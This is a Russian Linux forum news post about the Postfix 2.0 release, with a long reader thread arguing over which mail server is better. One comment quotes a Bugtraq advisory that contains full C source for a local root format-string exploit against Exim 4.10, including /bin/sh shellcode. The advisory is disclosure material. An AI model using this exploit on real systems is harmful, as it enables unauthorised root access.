LINUX.ORG.RU

Postfix 2.0


0

1

Официально вышла 2 версия самого быстрого и безопасного почтового агента - Postfix!

Основные вкусности: поддержка MIME (включая преобразования 8бит ->7бит и более аккуратное сопоставление заголовков MIME в теле сообщений), полностью переписанный RBL клиент, более умное управление ошибками при DNS просмотре в UCE ограничениях, виртуальный доставщик без transport map для каждого домена, и еще длинный список других вещей, предназначенные для повышения производительности или функциональности не задевая побочно то, что уже есть.

Официальный релиз вы можете найти здесь: ftp://ftp.porcupine.org/mirrors/postf...

260739 Dec 22 14:32 postfix-2.0.0.HISTORY
37021 Dec 22 17:36 postfix-2.0.0.RELEASE_NOTES
1322886 Dec 22 17:49 postfix-2.0.0.tar.gz
152 Dec 22 17:49 postfix-2.0.0.tar.gz.sig

Официальные релизы будут меняться для исправления ошибок. Новые особенности (фичи) разрабатываются и тестируются в экспериментальных (snapshot) релизах перед тем как стать частью официального релиза.

Параллельно ведется разработка экспериментального (snapshot) релиза 20021222, который включает в себя экспериментальную проверку адреса отправителя, "sendmail -bv" (показывает что случится при доставке почты) и "sendmail v" (показывает что случилось после (действительной) доставки почты). Это и многое другое войдут в следующий официальный релиз Postfix-а.

Экспериментальный релиз вы можете найти здесь: ftp://ftp.porcupine.org/mirrors/postf...

264811 Dec 22 10:15 postfix-2.0.0-20021222.HISTORY
3877 Dec 22 18:08 postfix-2.0.0-20021222.RELEASE_NOTES
1348651 Dec 22 18:09 postfix-2.0.0-20021222.tar.gz
152 Dec 22 18:09 postfix-2.0.0-20021222.tar.gz.sig

>>> Подробности

anonymous

Проверено: green

Не флейма ради.
Но высказываться нужно корректно.
Модераторам (green) тоже минус.

"...самого быстрого и безопасного...". Это, к сведению, о qmail, а не
о postfix.

z2v
()

Вообще-то, насчет qmail я сомневаюсь - в ней есть suid-программа, между тем как в Постфиксе нет! И насчет скорости, Постфикс минимум в три раза быстрее, чем его ближний конкурент!

anonymous
()

Люди, Postfix - очень хороший почтовый агент! :) (заметьте, сказанно не для рекламы). Автор - Wietse Venema (tcp wrappers, SATAN, etc...) - является экспертом в области безопасности. Код в Postfix очень элегантно написан! Ни одного хола, ни одной проблемы связанной с безопасностью. Очень удобное и легкое администрирование! Очень быстрый агент - до такой степени быстрый, что аж самому приходится понижать скорость агента ;). Нативная поддержка формата Maildir.

anonymous
()

все говно кроме SENDMAIL

anonymous
()
Ответ на: комментарий от anonymous

2anonymous (*) (2002-12-23 10:25:32.948):
"Нативная поддержка формата Maildir. "

WOW! Что меня останавливало от перехода с qmail-a на postfix,
так это - Maildir. В доках к постфиксу описано, как Maildir
привинчивать?
Или хитро компилить надо, предварительно патчи наложив?
И еще - есть ли у Postfix POP3-сервер (как у QMAIL)?
Заранее спасибо.

silverwing
()

Гы-гы!
Настоящая Holy War!
А если без maildir, то поп сервер лучший - popa3d!!!!!
А ещё exim - рулез немеряный!

Shadow ★★★★★
()

To silverwing (*) (2002-12-23 11:59:46.75): [rk@mail /etc/postfix]$ grep -i maildir main.cf # "Maildir/" for qmail-style delivery (the / is required). #home_mailbox = Maildir/

Postfix - не pop3 сервер. Это MTA. А для pop3 можешь использовать любой pop3, который умеет maildir.

anonymous
()
Ответ на: комментарий от z2v

К сожалению на мой взгляд qmail не может считаться полноченным MTA по причине неоходимости использования целой кучи дополнительных тулзов от сторонних производителей, без которых qmail ничего не умеет, но на которые не распространяются все заявления DJ Бернштейна про qmail ;)

green ★★★★★
()
Ответ на: комментарий от chuchelo

chuchelo (*) (2002-12-23 10:02:44.636): ну скажем так: qmail быстрее,меньше и надежней :-)

Извините, на каком диске Red Hat 8.0 (можно 7.3, можно SuSE whatever) оный qmail найти могу я? (что a-la Jedi Master Yoda получилось...)

Dronov
()

2 silverwing (*) (2002-12-23 11:59:46.75)

Maildir поддерживается в Постфикс уже давно.
Здесь та часть конфига, где все это настривается:

main.cf

# DELIVERY TO MAILBOX
#
# The home_mailbox parameter specifies the optional pathname of a
# mailbox file relative to a user's home directory. The default
# mailbox file is /var/spool/mail/user or /var/mail/user. Specify
# "Maildir/" for qmail-style delivery (the / is required).
#
#home_mailbox = Mailbox
#home_mailbox = Maildir/

anonymous
()

И Олег тоже дело говорит. И кто будет орать "сам ламер криворукий", пожалуйста говорите, сколько у вас машин с qmail, сколько с postfix, и сколько с sendmail.

Dronov
()

>И еще - есть ли у Postfix POP3-сервер (как у QMAIL)? >Заранее спасибо.

В блин. Уже больше года postfix стоит как SMTP-POP3 сервер, а тут оказывается что еще не известно, есть ли у него POP3. Наверное нет ;)

anonymous
()

2GREEN
"Ну даешь, ядрена вошь!
И олень тебе не гож..."

Повторяю qmail - полноценный MTA.
Как раз все "тулзы" делают примочки, которые к собственно MTA
имеют малое отношение.
Конечно, привернув, например, qmail-LDAP патч,
мы получаем распределенную
кластерную почтовую систему.
Но это - фича, дополнение.
Про suid... Ладно, можно просто помолчать.

Кто - нибудь попробовал воспользоваться премией за взлом qmail?
Нет?




z2v
()

В связке SMTP+POP3/IMAP классно подходят друг другу Postfix + Courier-Imap: оба нативно поддерживают Maildir, LDAP, MySQL, hash (userdb), etc. Кстати к Postfix очень легко прикрутить различные фильтры, а в новой верии вообще можно по заголовкам MIME фильтровать мессаги (вот это ровная фича)! Лично я уважаю Wietse Venema как профессионального хакера и доверяю его разработкам. Действительно, очень хороший код (если бы только все так умели писать свои программы - просто и элегантно).

anonymous
()

> В связке SMTP+POP3/IMAP классно подходят друг другу Postfix +
> Courier-Imap: оба нативно поддерживают Maildir, LDAP, MySQL, hash
> (userdb), etc.
Пожалуй что да, хотя я предпочитаю postfix+popa3d. Дело не в этом, мне очень удобно использовать procmail для локальной доставки а не postfix-local однако мне так и не удалось загнуть procmail на доставку в Maildir хотя говорят что он недавно научился это делать. Врут? ;-)

anonymous
()

"на каком диске RedHAT можно найти qmail"

qmail не ищут, qmail ставят ручками, четко следуюя INSTALL файлу :-)
и ваши волосы будут мягкими и шелковистыми (везде его ставлю вместо sendmail'а)

в пользу qmail еще говорит тот факт, что дырок и проблем в 1.03 до сих пор не нашли... (напоминает ситуацию с микроядром qnx код которой не менялся десяток лет)

chuchelo
()

2 anonymous (*) (2002-12-23 13:16:47.986)

Новый procmail уже умеет доставлять почту в Maildir!

А еще я советую вым посмотреть в сторону maildrop - говорят, что он лучше; и язык фильтрации лучше и понятливее чем у procmail и умеет доставляет в Maildir, написан на С++ и еще в отличии от procmail, maildrop несчитывает всю почту в память.

anonymous
()

насчет приведенных выше ссыллок на якобы тесты, qmail показывает нереально низкую пропускную способность... (у меня даже на более слабых машинах пропускная способность выше)... и не указано Maildir/mailbox и прочее...

chuchelo
()

Надеюсь со мной согласятся ярые защитники Postfix и qmail - этих двух серъезных почтовиков, что при выборе почтовика разница в производительности этих двух почтовиков не играет большую роль. Выберите себе почтовик подходящий вам по стилю. Попробуйте поработать с каждым из почтовиков, выберите то, что вам больше нравиться, а также нормально будет работать для вас.

Лично мне нравится Postfix - его стиль настройки (практически все переменные в одном файле), его сфокусированность на замену/поддержку sendmail, а также желание Wietse помогать и изменять Postfix для удовлетворения желаний пользователей Postfix - все это для меня играет большую роль, чем соответсвующие свойства qmail.

У меня, млин, чуть волосы не выпали пока я установил и настроил qmail:). И по поводу скорости, Postfix действительно был быстрее qmail в три раза, когда вышел, включая все свойства, поддерживаемые тогда qmail-ом. Сейчас же я точно не знаю, но думаю, что быстрее. К тому же, Postfix не стоит на месте и очень хорошо и быстро развивается!

anonymous
()

Вопросы по MTA и не только:

1. Есть ли MTA, который поддерживает работу с uucp, как sendmail (отправка, получение)?

2. Есть ли MTA, к которым можно прикрутить фильтры, aka sendmail-milter интерфейс, чтобы программы-фильтры работали как демоны и через них проходили сообщения до разалиасинга и этим программам передавались не только значение поля From и To, но и реальные MAIL FROM и RCPT TO от MTA?

3. Поддерживает ли Courier-Imap pop3, imap папки на русском языке, imap вложенные папки, фильтры, работу в режиме демона и обмен с MTA по каким-нибудь IPC, чтобы не форкался каждый раз?

Спасибо, asbel

PS Это не для флейма, меня sendmail вроде устраивает вполне, но интересно, есть ли что-то подобное, а то самому лень каждый MTA смотреть.

anonymous
()

z2v я знаю что есть rpm, но оно мне не понравилось :-) и я ставлю qmail всегда ручками...
по поводу стиля, так оно и есть...

chuchelo
()

Умеет ли Exim или Postfix source routing? То есть в зависимости от поля From слать почту через один smarthost или другой.

anonymous
()
Ответ на: комментарий от anonymous

> Вопросы по MTA и не только:

> 1. Есть ли MTA, который поддерживает работу с uucp, как
> sendmail (отправка, получение)?

Есть. Postfix. http://www.postfix.org/faq.html#other_transports

> 2. Есть ли MTA, к которым можно прикрутить фильтры, aka
> sendmail-milter интерфейс, чтобы программы-фильтры работали
> как демоны и через них проходили сообщения до разалиасинга и > этим программам передавались не только значение поля From и
> To, но и реальные MAIL FROM и RCPT TO от MTA?

Есть. Postfix. FILTER_README

> 3. Поддерживает ли Courier-Imap pop3, imap папки на русском
> языке, imap вложенные папки, фильтры, работу в режиме демона > и обмен с MTA по каким-нибудь IPC, чтобы не форкался каждый > раз?

- Да, Courier-Imap поддерживает POP3, POP3-SSL, IMAP, IMAP-SSL.

- Да, Courier-Imap поддерживает создание imap папок на русском языке (при создании через почтовый клиент), а при полном переходе на Юникод можно будет создавать папки и через консоль.

- Да, Courier-Imap поддерживает вложенные папки

- Да, Courier-Imap поддерживает работу в режиме демона

anonymous
()

> Умеет ли Exim или Postfix source routing? То есть в зависимости от поля From слать почту через один smarthost или другой.

Postfix умеет. STFW.

anonymous
()


Про MTA Benchmark я вам та скажу: просто бсдя тормозное гамно.
Qmail на современном линуксе значительно быстрее. Ему нужен
быстрый форк+экзек. А на все эти дурацкие вопросы "Есть ли MTA,
который поддерживает XXX" я отвечу, что в qmail можно сделать все, только много проще, чем в остальных MTA.

Что касается Postix, то он действительно быстрее, но не в три раза. И ничего бесплатно не бывает. В прошлом postfix имел
серьезные проблемы, приводящие к потере почты. Qmail не имел
проблем _никогда_. И врядли будет иметь. Автора qmail'a
довольно часто поддевают заявлениями, типа "а вот postfix быстрее".
Интересно почитать ответ самого автора qmail'a на один из таих выпадов:

http://www.ornl.gov/cts/archives/mailing-lists/qmail/2001/09/msg00326.html

Ну и напоследок. Postfix как и Sendmail вечно меняются.
Все это преходяще, а музыка вечна ;-)
Qmail сделан на века. До скончания эры smtp...

anonymous
()

Народ не флейма ради, направьте на хороший ресурс с подробными доками о том как настроить с нуля всю почтовую систему... Где только не искал везде куски какие-то и обрывки... Собрался было поставить Postfix (правда не 2.0) + Cyrus (Imap, pop3) бился около часча... но толком ничего хорошего не получается, кроме сообщения от почтового клиента об отсутствии некоего 'mailbox' для imap логина и какой-то ошибки с паролями для pop3 логина, нифига не получается. Честно говоря уже руки опускаются... Хелп, если кто может...

anonymous
()

Postfix отлично работает с Cyrus у меня лично стоит Postfix и Cyrus-SASL все доки по настройке брал с сайта postfix

anonymous
()
Ответ на: комментарий от anonymous

там довольно странный бенчмарк привели. согласно ему -- qmail действительно производительнее чем postfix --- если производительность воспринимать формально, как количество произведенных операций в секунду :-)

я помню, нас так же на курсах по кластерам учили поднимать "производительность" программ -- умножать на константу, равную еденице :-)

svSHiFT
()

>>Вообще-то, насчет qmail я сомневаюсь - в ней есть suid-программа, между тем как в Постфиксе нет!

А ну-ка расскажи нам превеликий анонимус, маг и чародей как postfix открывает привелигированый 25 порт?
Или он таки внешний рутовый inetd/xinetd/tcpserver or other пользует ??

Да и еще, а какой бинарь в qmail suid?? и зачем собсно??

>>Новый procmail уже умеет доставлять почту в Maildir!
Не понял, а что раньше не умел?? или ума не хватило пару строчек в исходниках рихтануть??

ifconfig
()

>Кто - нибудь попробовал воспользоваться премией за взлом qmail?
>Нет?
Правильно так ни у кого не стоит "чистый" Qmail
а премию можно получить только на чистый qmail без примочек
ибо за левые примочьки премию никто выплачивать не будет.

Да и вообще как в анекдоте
а он действительно такой не уловимый ?
да кому он ...........

Aleks_IZA
()
Ответ на: комментарий от Aleks_IZA


Уважаемый Aleks IZA! Я тебе и два года назад говорил, что у
меня стоят на серверах только "чистые" qmail'ы, и сейчас могу
повторить то же самое. Дистрибутивы меняются, а qmail остается
прежний!

anonymous
()
Ответ на: комментарий от anonymous

Да есть и давно :-) И зовут Exim и живёт он на www.exim.org и умеет он всё на свете :-) И быстрый и книжка про него в .ps есть толстая и подробная -- сразу видно, что в Кембридже делали :-).

Warmonger
()

Ну я рад за всех пользователей Postfix, наконец-то они тоже получат проверку адреса отправителя (а не только наличие домена). Такая фишка в Ексиме есть уже ... давно :-). ВОт только не будет хватать поствиксу и проверки адреса получателя (если постфикс релей). Просто это действително "фишка" проверять и того и другого, причём в Ексиме это так гибко настраивается, что я ваще прусь :-).

Сейчас нме конечно объяснят, что я дурак и ничего в антиспаме не понимаю :-).

Всёравно, спасибо хоть что прочитали :-).

Warmonger
()

использую давно qmail в качестве основного почтового сервера, и не давно Postfix-19991231 в качестве вспомогательного и нареканий нет ни к одному :о) ...за исключением того что Postfix иногда некоректно работает с заголовками типа "Юзер - такой то рускими" <user@domain.ru> :о( пытается отправить на "Юзер@.... или ещё как-нить может извратиться в этом же роде...

anonymous
()
Ответ на: комментарий от Warmonger

> не будет хватать поствиксу и проверки адреса получателя
я не большой спец в постфикс (подозреваю что несложно), но у нас в qmail это сделано и для RELAY.:-)

урлик я уже кидал - брать usercheck.

mumpster ★★★★★
()

> Народ не флейма ради, направьте на хороший ресурс с подробными доками о том как настроить с нуля всю почтовую систему...

Если вестибюлярный аппарат в порядке (не тошнит, как некоторых, от имени автора или названия программы) рекомендую все-таки qmail.

Сходи на qmail.org, в перечне ресурсов найди раздел документации, в нем ищи доку от Константина Рябичева. Это ПОШАГОВАЯ инструкция по построению почтовой системы на основе qmail. В качестве приза получишь webmail и возможность администрировать почтовые домены через веб-интерфейс.

2 года. Проверено, мин нет :)

anonymous
()

Для общего развития просветите. Если максарад домена отправителя в qmail,postfix,exim ?

eda
()
Ответ на: комментарий от eda

В ексиме для этого есть отдельный раздел конфигурации Там можно по регекспам или другим способом обрабатывать адреса и переписывать их на другие. "Другие способы" -- это могут быть обращения к хешам, SQL запросы, вобщем всё, что умеет ексим делать с данными.

Warmonger
()

А насколько безопасен Exim?

From: Wana Thomas <01psi194@fhwn.ac.at>
To: bugtraq@securityfocus.com
Date: Wed, 04 Dec 2002 16:40:29 +0100

Local root vulnerability found in exim 4.x (and 3.x)

Overview
--------

A local root vulnerability has been discovered in
Exim 4.x (4.10 verified and exploit available) and in
Exim 3.x (3.35 verified).

Impact
------

The vulnerability can only be exploited by the
"admin user" of exim, who is determined by compiled-in
values. Thus the RISK of this vulnerability is LOW.

Details
-------

This is a format string bug in daemon.c, line 976:

sprintf(CS buff, CS pid_file_path, ""); /* Backward compatibility */

pid_file_path can be changed on the command line.
This line is in the function daemon_go(), which only
gets executed when the user is an exim-admin-user.

This restricts the impact of this vulnerability a lot.
Standard configurations on all distributions should be
safe (verified: Debian Woody i386)

Solution
--------

Exim developers have been informed and a patch will be
ready shortly.

Exploit
-------

Please find attached a demonstration exploit of this
vulnerability, tested on Debian Woody i386.

There are four important defines to change before the
exploit will work - see the file for details.

Discovered by
-------------

Thomas Wana <01psi194@fhwn.ac.at>

Credits
-------

greetings to the hoagie industries security group :-)





/***********************************************************
* hoagie_exim.c
*
* local root exploit for exim 4.10 and probably others.
* [only works for exim admin users]
*
* Format string bug when handling with the pid_file_path.
*
* Author: Thomas Wana <01psi194@fhwn.ac.at>
*
* Greetz to andi and the other hoagie-fellas :-)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
************************************************************/

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <string.h>

/*******************************************************
* CRUCIAL VALUES
*
* these standard values work for Debian Woody i386,
* source build.
*
* Play with the padding if the program can't find the
* right stackpop values.
*
* ALTERNATE_PORT is the port where exim will bind during
* the stackpop sequences. The port will be incremented by
* one for each try, so expect to have many instances of
* exim running. (this is because the port is bound to as
* root and the user program can't kill that process anymore)
*
* Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
*
* Shellcode-Address can vary, it is dependant on the size
* of the current environment. I had values between 0xbffffb00
* and 0xbffffe90.
*
********************************************************/
#define PADDING 3
#define ALTERNATE_PORT 3330
#define FOPEN_GOT_ADDRESS 0x080b6194
#define SHELLCODE_ADDRESS 0xbffffd00

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\x89\xc2\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xc0"
"\x89\xc3\x40\xcd\x80\xe8\xdd\xff\xff"
"\xff/bin/sh";

int port=ALTERNATE_PORT;
char path[100];

int check_for_AAAA(char *line)
{
int rval=0;
char *endptr;

if(strstr(line,"too long"))
{
endptr=strrchr(line,':')-8;
}
else
{
endptr=line+strlen(line)-1-8;
}
if(strstr(endptr,"41414141")) rval=1;
return rval;
}

int calc_bytes_written(char *line)
{
int rval=0;
char *p;
if((p=strrchr(line,':')))
{
rval=(p-line);
}
else
{
rval=strlen(line);
}
if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
else rval-=strlen("failed to open pid file ");
return rval;
}

void getstackpops(int *bigs, int *smalls, int *bytes_written)
{
int cpid;
int pipedes[2];
int found=0;
int bs=0, ss=1;
char hilf[10];

printf("Getting stackpops ...\n");
*bigs=0;
*smalls=1;

while(!found)
{
if(pipe(pipedes))
{
perror("pipe");
exit(1);
}

port++;
cpid=fork();
if(cpid==0)
{
// child process

char fs[10000];
int i;

// close stderr and recreate it pointing into the pipe
close(2);
dup2(pipedes[1],2);

// make new formatstring

strcpy(fs,"/tmp/%s");
for(i=0;i<PADDING;i++)
strcat(fs,"Z");
strcat(fs,"0000AAAA0000AAAA0000AAAA0000AAAA");
for(i=0;i<bs;i++)
strcat(fs,"%+e");
for(i=0;i<ss;i++)
strcat(fs,"%08x");

// execute exim
sprintf(hilf,"%d",port);
execl(path,"exim","-bd","-d","-oX",hilf, "-oP",fs,"-F",shellcode,NULL);
}
else if(cpid>0)
{
// parent process
FILE *fp=fdopen(pipedes[0],"r");
char line[10000];
if(fp)
{
do
{
fgets(line,10000,fp);
line[strlen(line)-1]=0;
/* printf("%s\n",line); ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
if(strstr(line,"pid written to ") ||
strstr(line,"failed to open pid file "))
{
if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
if(check_for_AAAA(line)==1)
{
// stackpops found, values are OK
found=1;
bs--; // revert 2 stackpops
printf("Stackpops found ;-)\n");
*bigs=bs;
*smalls=ss;
*bytes_written=calc_bytes_written(line)-13;
}
else
{
// increase stackpops
ss++;
if(ss==3) bs++, ss=1;
printf("trying bs=%d, ss=%d\n",bs,ss);
}
}
} while(!strstr(line,"Listening..."));
fclose(fp);
}
else perror("fdopen");
kill(cpid,SIGINT);
usleep(100000);
}
else perror("fork");
close(pipedes[0]);
close(pipedes[1]);
}
}

void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
int *p4, int bytes_written)
{
// greetings to scud :-)
int write_byte;
int already_written;
int padding;

write_byte=SB1(addr);
already_written=bytes_written;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p1=padding;

write_byte=SB2(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p2=padding;

write_byte=SB3(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p3=padding;

write_byte=SB4(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p4=padding;
}

int main(int argc, char **argv)
{
int bigpops, smallpops, bytes_written, i;
unsigned char fs[10000], hilf[1000];
unsigned long a=FOPEN_GOT_ADDRESS,
b=FOPEN_GOT_ADDRESS+1,
c=FOPEN_GOT_ADDRESS+2,
d=FOPEN_GOT_ADDRESS+3;
unsigned int p1,p2,p3,p4;

if(argc!=2)
{
printf("local root exploit for exim 4.10 [only works for exim admin users]\n\n");
printf("./hoagie_exim path_to_exim\n\n");
exit(1);
}
strcpy(path,argv[1]); // exploiting an exploit? hehe

getstackpops(&bigpops,&smallpops,&bytes_written);
printf("Using %d bigpops and %d smallpops.\n", bigpops,smallpops);
printf("Written bytes: %d\n",bytes_written);

strcpy(fs,"/tmp/%s");
for(i=0;i<PADDING;i++)
strcat(fs,"Z");

sprintf(hilf,"0000%c%c%c%c"
"0000%c%c%c%c"
"0000%c%c%c%c"
"0000%c%c%c%c",
SB1(a),SB2(a),SB3(a),SB4(a),SB1(b),SB2(b),SB3(b),SB4(b),
SB1(c),SB2(c),SB3(c),SB4(c),SB1(d),SB2(d),SB3(d),SB4(d));
strcat(fs,hilf);
for(i=0;i<bigpops;i++)
strcat(fs,"%+e");
for(i=0;i<smallpops;i++)
strcat(fs,"%08x");

get_write_paddings(SHELLCODE_ADDRESS,&p1,&p2,&p3,&p4,bytes_writt en);

sprintf(hilf,"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n",p1,p2,p3,p4);
strcat(fs,hilf);

// GET ROOT
printf("calling exim with fs='%s'\n",fs);
sprintf(hilf,"%d",++port);
execl(path,"exim","-bd","-d","-oX",hilf, "-oP",fs,"-F",shellcode,NULL);

return 0;
}

anonymous
()

> самого быстрого и безопасного почтового агента!

Все убедился, что слова действительно относятся к Postfix! Всем советую и рекомендую! Ну лана, бай и успехов!

Ляски-масяски (КВН)

anonymous
()

QMail в своё время очень неприятно затыкался, получив n байт из сообщения длиной >> n. Где n было какое-то магическое число. Причём происходило это редко и соотв. было трудноуловимо и трудноотлаживаемо. Сейчас может и пофиксили.

А вообше всё проверяется временем. Вот когда qmail получит половину доли почтовиков, которые сейчас держит sendmail или хотя бы долю, сопоставимую с postfix - тогда поговорим. А пока действительно - неуловимый Джо.

L.

anonymous
()
Ответ на: комментарий от anonymous

>> самого быстрого и безопасного
> слова действительно относятся к Postfix
насчёт самого быстрого - наверное соглашусь, насчёт - самого безопасного - нет.
я просто хочу напомнить про BUGTRAQ, etc.

mumpster ★★★★★
()

> В ексиме для этого есть отдельный раздел конфигурации Там можно по > регекспам или другим способом обрабатывать адреса и переписывать их > на другие. В общем, сильно похоже на апач :)))) А про безопасность - есть, есть там BO... Но встречаются редко и в необычных конфигурациях.

anonymous
()
Ответ на: комментарий от anonymous

а у меня выпали :( а постфикс ставится и настраивается ну оч понятно, чего не скажешь про qmail bk

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.